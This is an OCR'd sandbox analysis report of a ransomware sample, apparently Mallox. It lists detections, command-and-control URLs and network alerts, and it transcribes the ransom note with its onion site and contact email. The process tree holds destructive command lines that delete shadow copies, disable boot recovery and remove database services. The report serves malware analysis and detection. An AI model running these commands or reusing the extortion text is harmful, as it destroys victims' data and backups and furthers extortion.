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Windows Analysis Report

_145.exe

Overview

General Information Detection Signatures Classification

Sample Name: _145.exe
MALICIOUS Yara detected Targeted Ransomware
Analysis ID: 1337854

Multi AV Scanner detection for subm...

MDS5: b54d7da0fe686..

SHA1: 5d0b9521cca0. .. Yara detected TrojanRansom

SHA256: df29d5¢4a7506.. Antivirus / Scanner detection for sub...

Tags: Antivirus detection for URL or domain
Yara detected RansomwareGeneric

fnfos: Bt o iHim Snort IDS alert for network traffic

Creates files in the recycle bin to hid...
Targeted Ransomware,

TrojanRansom Uses bededit to modify the Windows... ) n

May disable shadow drive data (use...

Range: 0-100
Whitelisted: false Writes many files with high entropy
Confidence: 100%

Writes a notice file (html or txt) to de...

Process Tree

= System is w10x64
« [m1 _145.exe (PID: 5700 cmdline: C:\Users\user\Desktop\_145.exe MD5: B54D7DA0FE6869006FFD3B9B470F0DC4)

o [m7 vssadmin.exe (PID: 4956 cmdline: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)
conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
cmd.exe (PID: 5720 cmdline: "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc
delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSS
QL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete
"MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQLS$
PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLaunc
her$OPTIMA"&&sc delete "MSSQLSOPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postg
resql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.
exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fd host.exe&&taskkill -f -im fdla
uncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im Re portingServicesService.exe&&taskkill -f -im msftesqgl.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe MD5:
DOFCE3AFA6AA1D58CE9FA336CC2B675B)
conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
o W sc.exe (PID: 4612 cmdline: sc delete "MSSQLFDLauncher" MD5: D9D7684B8431A0D10D0E76FE9F5FFECS)
cmd.exe (PID: 1396 cmdline: "C:\Windows\System32\cmd.exe" /c bededit /set {current} bootstatuspolicy ignoreallfailures MD5: DOFCE3AFA6AA1D58CE9FA336CC2B675B)
conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
. cmd.exe (PID: 1972 cmdline: "C:\Windows\System32\cmd.exe" /c bededit /set {current} recoveryenabled no MD5: DOFCE3AFA6AA1D58CE9FA336CC2B675B)

. conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
« [E7 notepad.exe (PID: 3112 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK

FILES.txt MD5: 27F71B12CB585541885A31BE22F61C83)

= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures
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Memory Dumps

Source Rule Description Author
Process Memory Space: _145.exe PID: 5700 JoeSecurity Rans  Yara detected Joe Security
omware_Generic Ransomware_Gen
eric
Process Memory Space: _145.exe PID: 5700 JoeSecurity Targe Yara detected Joe Security
tedRansomware Targeted
Ransomware
Process Memory Space: _145.exe PID: 5700 JoeSecurity_Troja  Yara detected Joe Security
nRansom TrojanRansom

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp: 192.168.2.591.215.85.14249719802039815 11/06/23-19:44:32.807981
SID: 2039815

Source Port: 49719

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp: 192.168.2.591.215.85.14249721802039815 11/06/23-19:44:35.420553
SID: 2039815

Source Port: 49721

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp: 192.168.2.591.215.85.14249715802039815 11/06/23-19:44:31.537853
SID: 2039815

Source Port: 49715

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp: 192.168.2.591.215.85.14249720802039815 11/06/23-19:44:34.123034
SID: 2039815

Source Port: 49720

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp: 192.168.2.591.215.85.14249722802039815 11/06/23-19:44:36.871461
SID: 2039815

Source Port: 49722

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected
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ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142 -—

Timestamp: 192.168.2.591.215.85.14249711802039815 11/06/23-19:44:28.316418
SID: 2039815

Source Port: 49711

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN Win32/Filecoder.0OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142 -—
Timestamp: 192.168.2.591.215.85.14249713802039815 11/06/23-19:44:30.057662
SID: 2039815

Source Port: 49713

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Networking

Snort IDS alert for network traffic

Spam, unwanted Advertisements and Ransom Demands m

Yara detected Targeted Ransomware

Yara detected TrojanRansom

Yara detected RansomwareGeneric

May disable shadow drive data (uses vssadmin)
Writes many files with high entropy
Writes a notice file (html or txt) to demand a ransom

Deletes shadow drive data (may be related to ransomware)

Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Stealing of Sensitive Information

Opens network shares

Mitre Att&ck Matrix
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Edit Format View Help
Hello

Your files are encrypted and can not be used
"7 Vie have dounloaded your confidential data and are ready to publish it on our blog

¢ To return your files in work condition you need decryption tool

i Follow the instructions to decrypt all your data

® Do not try to change or restore files yourself, this will break them
Tht3 you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file

il How to get decryption tool:
1) Download and install TOR browser by this link: https://www.torproject.org/download/
2) If TOR blocked in your country and you can't access to the link then use any VPN software

‘3) Run TOR browser and open the site: wtyafjyhwgrgodadSwdvvwhen3cxdeuie73qvlhkhvlrexljoyuklaad.onion/mallox/private
4) Copy your private ID in the input field. Your Private key: 4993889EC85AB5141AABDB3F

B 5) You will see payment information and we can make free test decryption here

i 6)After payment, you will receive a tool for decrypting files, and we will delete the data that was taken from you

Our blog of leaked companies:

ux wtyafjyhwqrgodadSudvvwhen3cxdeuie73qvlhkhvlrexljoyuklaad.onion

2 1r you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.org
Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the sit

Windows (CRLF)

£ Type here to search o]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link

_145.exe 76% ReversingLabs Win32.Ransomwar
e.GarrantDecrypt

_145.exe 100% Avira HEUR/AGEN.1319
003

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp://91.215.85.142/QWEwqdsvsf/ap.phpx 100% Avira URL Cloud malware
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Source Detection Scanner Label
http://91.215.85.142/QWEwqdsvsf/ap.phpr 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.phpC: 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.phpnQ 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.phpE 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type: 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.php? 100% Avira URL Cloud malware
hitp:/fapi.ipify.orgx32x64%s 0% Avira URL Cloud safe
http://91.215.85.142/QWEwqdsvsf/ap.phpP 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.phpM 100% Avira URL Cloud malware
http://91.215.85.142/ 100% Avira URL Cloud malware
hitp:/fhttps://api.pJ; 0% Avira URL Cloud safe
http://91.215.85.142/QWEwqdsvsf/ap.phpf 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.php_ 100% Avira URL Cloud malware
hitp:/fhttps://d.docs.live.net 0% Avira URL Cloud safe
http://91.215.85.142/QWEwqdsvsf/ap.php 100% Avira URL Cloud malware
http://91.215.85.142/QWEwqdsvsf/ap.phpata 100% Avira URL Cloud malware
hitp://https:/petrol.offi; 0% Avira URL Cloud safe
http://91.215.85.142/ows 100% Avira URL Cloud ~ malware
http://91.215.85.142/RS 100% Avira URL Cloud ~ malware
http://91.215.85.142/QWEwqdsvsf/ap.phpj 100% Avira URL Cloud malware
Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection

api4.ipify.org 173.231.16.77 true false

api.ipify.org unknown unknown  false

Contacted URLs

Name Malicious Antivirus Detection

http://91.215.85.142/QWEwqdsvsf/ap.php
http:/fapi.ipify.org/

URLs from Memory and Binaries
Name

http://91.215.85.142/QWEwqdsvsf/ap.phpx

Copyright Joe Security LLC 2023

true « Avira URL Cloud: malware
false
Source Malicious  Antivirus Detection
145.exe, 00000000.00000003.2142199872.0 true « Avira URL Cloud: malware

000000000C71000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2135798477.0000000000C71000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2138463076.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp

Link

Reputation
high
high

Reputation

unknown

high

Reputation

unknown
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Name

http://91.215.85.142/QWEwqdsvsf/ap.phpnQ

http://91.215.85.142/QWEwqdsvsf/ap.phpr

http://91.215.85.142/QWEwqdsvsf/ap.phpContent-
Type:

Copyright Joe Security LLC 2023

Source Malicious  Antivirus Detection

_145.exe, 00000000.00000003.2142199872.0 true « Avira URL Cloud: malware
000000000C71000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2955369843.0000000000C71000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2282905702.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2135798477.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2960843087.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2865208023.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2274
365972.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.3037359481.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2168413825.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2222401734.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2212727565.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2810
948305.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2218505422.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2241036278.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2281686127.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2245387731.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.3041
013104.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2842090850.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.3030658115.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2229599387.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.3024553021.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp

_145.exe, 00000000.00000003.2111946101.0 true
0000000046D9000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2124056896.00000000046D09000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2146130235.00000000046D900
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2146593085.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2109635027.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp

« Avira URL Cloud: malware

_145.exe true « Avira URL Cloud: malware

Reputation

unknown

unknown

unknown
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Name

http://91.215.85.142/QWEwqdsvsf/ap.php?

hitp:/f https://www.torproject.org/download/

hitp://91.215.85.142/QWEwqdsvsf/ap.phpE

hitp://https://login.windows-ppe.net

Copyright Joe Security LLC 2023

Source Malicious

_145.exe, 00000000.00000003.2955369843.0 true
000000000C71000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2282905702.0000000000C71000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2960843087.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2865208023.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2274365972.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.3037359481.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2222
401734.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2212727565.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2810948305.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2218505422.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2241036278.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2281
686127.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2245387731.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.3041013104.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2842090850.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.3030658115.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2229
599387.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.3024553021.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.3026631650.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2248365883.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2994950360.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp

_145.exe, HOW TO BACK FILES.txt571.0.dr, HOW false
TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.
xt5.0.dr, HOW TO BACK FILES.txt974.0.dr, HOW TO
BACK FILES.txt881.0.dr, HOW TO BACK FILES
.xt13.0.dr, HOW TO BACK FILES.xt948.0.dr, HOW
TO BACK FILES.txt624.0.dr, HOW TO BACK FIL
ES.txt317.0.dr, HOW TO BACK FILES.xt323.0.dr,
HOW TO BACK FILES.txt50.0.dr, HOW TO BACK F
ILES.txt366.0.dr, HOW TO BACK FILES.txt828.0.dr, H
OW TO BACK FILES.txt169.0.dr, HOW TO BACK
FILES.txt413.0.dr, HOW TO BACK FILES.txt882.0.dr,
HOW TO BACK FILES.txt370.0.dr, HOW TO BACK
FILES.txt307.0.dr, HOW TO BACK FILES.ixt369.0.dr,
HOW TO BACK FILES.txt773.0.dr

_145.exe, 00000000.00000003.2118543111.0 true
000000000C71000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2107298089.0000000000C71000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2119295159.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2115765687.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2113220234.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2108719872.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp

D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr false

Antivirus Detection

« Avira URL Cloud: malware

« Avira URL Cloud: malware

Reputation

unknown

high

unknown

high
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Name

http://91.215.85.142/QWEwqdsvsf/ap.phpC:

http://91.215.85.142/QWEwqdsvsf/ap.phpP

hitp:/fapi.ipify.orgx32x64%s
http://91.215.85.142/QWEwqdsvsf/ap.phpM

Copyright Joe Security LLC 2023

Source Malicious  Antivirus Detection

_145.exe, 00000000.00000003.2114682457.0 true « Avira URL Cloud: malware
000000000C7F000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2105465625.0000000000C7F000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2113220234.0000000000C7F00
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2112753503.0000000
000C7F000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2118543111.0000000000C7F000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2107298089.0000000000C
7F000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2115
765687.0000000000C7F000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2108719872.0000000000C7F00
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2126414835.0000000
000C7F000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2122539513.0000000000C7F000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2119295159.0000000000C
7F000.00000004.00000020.00020000.0000000
0.sdmp

_145.exe, 00000000.00000003.2510362600.0 true « Avira URL Cloud: malware
0000000046D9000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2834278123.00000000046D8000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2693658563.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2255350664.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2627821845.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2111946101.00000000046
D9000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2623
524950.00000000046D9000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2219923211.00000000046D900
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2769821019.0000000
0046D8000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2277539266.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2639420389.00000000046
D8000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2754
010913.00000000046D8000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2708633139.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2776003689.0000000
0046D8000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2583352269.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2503519816.00000000046
D9000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2505
405064.00000000046D9000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2766609044.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2280941934.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2593614953.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2762115723.00000000046
D8000.00000004.00000020.00020000.0000000

0.sdmp
_145.exe false « Avira URL Cloud: safe
_145.exe, 00000000.00000003.2111946101.0 true « Avira URL Cloud: malware

0000000046D9000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2124056896.00000000046D9000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2109635027.00000000046D900
0.00000004.00000020.00020000.00000000.sdmp

Reputation

unknown

unknown

low

unknown
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Name

http://api.ipify.org

http://91.215.85.142/

http://https://api.pJ;
http://91.215.85.142/QWEwqdsvsf/ap.php_

http://https://d.docs.live.net

Copyright Joe Security LLC 2023

Source Malicious  Antivirus Detection

_145.exe, 00000000.00000003.2114682457.0 false
000000000C7F000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2105465625.0000000000C7F000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2113220234.0000000000C7F00
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2112753503.0000000
000C7F000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2118543111.0000000000C7F000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2107298089.0000000000C
7F000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2115
765687.0000000000C7F000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2108719872.0000000000C7F00
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2126414835.0000000
000C7F000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2122539513.0000000000C7F000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2119295159.0000000000C
7F000.00000004.00000020.00020000.0000000
0.sdmp

_145.exe, 00000000.00000003.2119295159.0 false « Avira URL Cloud: malware
000000000C4B000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2115765687.0000000000C4B000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2105465625.0000000000C4B00
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2113220234.0000000
000C4B000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2107298089.0000000000C4B000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2122539513.0000000000C
4B000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2126
414835.0000000000C4B000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2108719872.0000000000C4B00
0.00000004.00000020.00020000.00000000.sdmp

D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr false « Avira URL Cloud: safe

_145.exe, 00000000.00000003.2118543111.0 false « Avira URL Cloud: malware
000000000C71000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2107298089.0000000000C71000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2119295159.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2115765687.0000000
000C71000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2113220234.0000000000C71000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2108719872.0000000000C
71000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2122
539513.0000000000C71000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2126414835.0000000000C7100
0.00000004.00000020.00020000.00000000.sdmp

D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr false « Avira URL Cloud: safe

Reputation

high

unknown

low

unknown

unknown
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Name

http://91.215.85.142/QWEwqdsvsf/ap.phpf

http://91.215.85.142/QWEwqdsvsf/ap.phpata

http://https://petrol.offi;

hitp://
https:/login.windows.net/common/oauth2/authorize

Copyright Joe Security LLC 2023

Source Malicious

_145.exe, 00000000.00000003.2510362600.0 false
0000000046D9000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2834278123.00000000046D8000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2693658563.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2255350664.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2627821845.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2623524950.00000000046
D9000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2219
923211.00000000046D9000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2769821019.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2277539266.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2639420389.00000000046D8000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2754010913.00000000046
D8000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2708
633139.00000000046D8000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2776003689.00000000046D800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2583352269.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2503519816.00000000046D9000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2505405064.00000000046
D9000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2766
609044.00000000046D8000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.228094 1934.00000000046D900
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2593614953.0000000
0046D9000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2762115723.00000000046D8000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2751883110.00000000046
D8000.00000004.00000020.00020000.0000000
0.sdmp

_145.exe, 00000000.00000003.2173823123.0 false
000000000C7F000.00000004.00000020.000200
00.00000000.sdmp

D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr false
D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr false

Antivirus Detection

« Avira URL Cloud: malware

« Avira URL Cloud: malware

« Avira URL Cloud: safe

Reputation

unknown

unknown

low

high
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Name

http://api.ipify.org/N

http:(/91.215.85.142/ows

Copyright Joe Security LLC 2023

Source Malicious  Antivirus Detection

_145.exe, 00000000.00000003.2460052995.0 false
000000004778000.00000004.00000020.000200
00.00000000.sdmp, _145.exe, 00000000.000
00003.2150813269.0000000004778000.000000
04.00000020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.2304552381.000000000477800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2132952244.0000000
004778000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
2646935934.0000000004778000.00000004.000
00020.00020000.00000000.sdmp, _145.exe,
00000000.00000003.3008853653.00000000047
78000.00000004.00000020.00020000.0000000
0.sdmp, _145.exe, 00000000.00000003.2607
320971.0000000004778000.00000004.0000002
0.00020000.00000000.sdmp, _145.exe, 0000
0000.00000003.2522280834.000000000477800
0.00000004.00000020.00020000.00000000.sdmp,
_145.exe, 00000000.00000003.2326143420.0000000
004778000.00000004.00000020.00020000.000
00000.sdmp, _145.exe, 00000000.00000003.
